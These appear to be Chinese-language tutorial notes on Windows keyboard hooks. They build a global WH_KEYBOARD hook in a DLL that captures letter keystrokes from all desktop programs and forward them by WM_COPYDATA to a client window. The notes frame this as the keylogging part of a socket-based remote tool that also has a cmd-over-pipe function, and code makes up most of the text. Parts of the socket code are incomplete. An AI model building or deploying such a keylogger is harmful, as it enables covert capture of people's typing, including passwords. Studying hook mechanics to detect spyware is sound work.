HOOK 钩子
HHOOK SetWindowsHookEx(
int idHook, // hook type
HOOKPROC lpfn, // hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // thread identifier
);
键盘钩子
WH_KEYBOARD
钩全局/钩本地
钩子链,谁最后下钩子,谁最先被调用
void CHOOKMFCDlg::OnBnClickedHook()
{
// TODO: 在此添加控件通知处理程序代码
g_hhk = SetWindowsHookEx(WH_KEYBOARD, //钩子类型
(HOOKPROC)KeyboardProc, //回调函数
NULL, //表示第三方注入的DLL,全局钩子使用
GetCurrentThreadId() //线程id,0表示钩所有桌面程序
);
if (g_hhk == NULL)
{
AfxMessageBox(_T("下钩子失败"));
return;
}
//否则就成功
}
HHOOK g_hhk;
//键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//调试输出工具,输出调试字符串
//写日志
OutputDebugStringA("keyboard pressed!");
//调用下一个钩子
return CallNextHookEx(g_hhk, code, wParam, lParam);
}
这里我按一下但是会显示两次,因为键盘按下和弹起是两个动作
全局钩子需要一个DLL(动态链接库),程序依赖库,库提供了某些函数,我们需要编写一个dll,将hook函数放在dll中,然后让操作系统去使用该dll,让其钩住其他进程得键盘消息。
exe(调用钩子函数) + Dll(编写钩子函数)
DLL
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <stdio.h>
//提供钩子回调函数
HHOOK g_hhk;
HMODULE g_hModule;
//键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//调试输出工具,输出调试字符串
//写日志
//OutputDebugStringA("keyboard pressed!");
//虚拟键 我们键盘在我们windows中用一些宏来表示
unsigned int nVKCode = wParam;
//表示按了a-z
char szBuf[256] = { 0 };
if (nVKCode >= 'A' && nVKCode <= 'Z'){
sprintf_s(szBuf, "%c pressed", nVKCode);
OutputDebugStringA(szBuf);
}
//调用下一个钩子
return CallNextHookEx(g_hhk, code, wParam, lParam);
}
//dll导出函数,提供给其他程序使用
BOOL MySetHook(){
g_hhk = SetWindowsHookEx(WH_KEYBOARD, //钩子类型
(HOOKPROC)KeyboardProc, //回调函数
g_hModule, //表示第三方注入的DLL,全局钩子使用,dll的模块句柄
0 //线程id,0表示钩所有桌面程序
);
if (g_hhk == NULL){
return FALSE;
}
return TRUE;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
//当dll被加载时调用
//编写初始化操作
g_hModule = hModule;
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
{
//当dll被释放时候调用
//编写反初始化操作
}
break;
}
return TRUE;
}
服务端 —socket—- 客户端
1.cmd功能 <---管道----cmd 2.键盘记录 <--- ----dll(keyboard hook) 最简单的进程通信:发送消息WM_COPYDATA 这里我们创建一个win32项目 function.h
#pragma once
//创建socket
int insocket();
function.cpp
#include "stdafx.h"
#include "function.h"
#include <winSock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")
SOCKET s;
int insocket(){
//初始化
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0) {
return 0;
}
//创建套字节
s = socket(AF_INET, SOCK_STREAM
, 0);
if (INVALID_SOCKET == s)
{
return 0;
}
// 绑定套字节
sockaddr_in soadder;
soadder.sin_family = AF_INET;
soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
soadder.sin_port = htons(10087);
int len = sizeof(sockaddr_in);
return 1;
}
创建一个函数insocket()用来创建socket
然后在win32项目写入连接
int nRte = insocket();
if (nRte == 0)
{
OutputDebugStringA("error");
return 0;
}
//connent
sockaddr_in soadder = { 0 };
soadder.sin_family = AF_INET;
int len = sizeof(sockaddr_in);
soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
soadder.sin_port = htons(10087);
nRte = connect(s, (sockaddr*)&soadder, len);
if (SOCKET_ERROR == nRte)
{
return 0;
}
创建全局句柄用来获取win32句柄给dll使用,因为dll里面获取键盘内容要发送给客户端所以要获取客户端句柄
g_hWnd = hWnd;
BOOL bRet = MySetHook(g_hWnd);
if (!bRet){
OutputDebugStringA("set hook error");
return 0;
}
然后在回调函数里面进行处理
case WM_COPYDATA:
{
//表示我们dll发送的数据,我们在这里接受并处理
PCOPYDATASTRUCT pcds = (PCOPYDATASTRUCT)lParam;
OutputDebugStringA((LPCSTR)pcds->lpData);
}
然后是dll代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <stdio.h>
//提供钩子回调函数
HHOOK g_hhk;
HMODULE g_hModule;
HWND g_hWnd;
//键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//调试输出工具,输出调试字符串
//写日志
//OutputDebugStringA("keyboard pressed!");
//虚拟键 我们键盘在我们windows中用一些宏来表示
unsigned int nVKCode = wParam;
//表示按了a-z
char szBuf[256] = { 0 };
if (nVKCode >= 'A' && nVKCode <= 'Z'){
sprintf_s(szBuf, "%c pressed", nVKCode);
//OutputDebugStringA(szBuf);
//改成向我们主窗口发送我们的键盘消息,WM_DATACOPY消息
COPYDATASTRUCT cds;
cds.dwData = 0;
cds.cbData =strlen(szBuf)+1; //表示数据的长度
cds.lpData = szBuf; //表示数据
SendMessage(g_hWnd, //向目标窗口发送消息
WM_COPYDATA,
(WPARAM)g_hWnd, //表示当前自己的窗口句柄,可以不写
(LPARAM)&cds //构建一个结构体用于将数据传输
);
}
//调用下一个钩子
return CallNextHookEx(g_hhk, code, wParam, lParam);
}
//dll导出函数,提供给其他程序使用
BOOL MySetHook(HWND hWnd){
g_hWnd = hWnd;
g_hhk = SetWindowsHookEx(WH_KEYBOARD, //钩子类型
(HOOKPROC)KeyboardProc, //回调函数
g_hModule, //表示第三方注入的DLL,全局钩子使用,dll的模块句柄
0 //线程id,0表示钩所有桌面程序
);
if (g_hhk == NULL){
return FALSE;
}
return TRUE;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
//当dll被加载时调用
//编写初始化操作
g_hModule = hModule;
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
{
//当dll被释放时候调用
//编写反初始化操作
}
break;
}
return TRUE;
}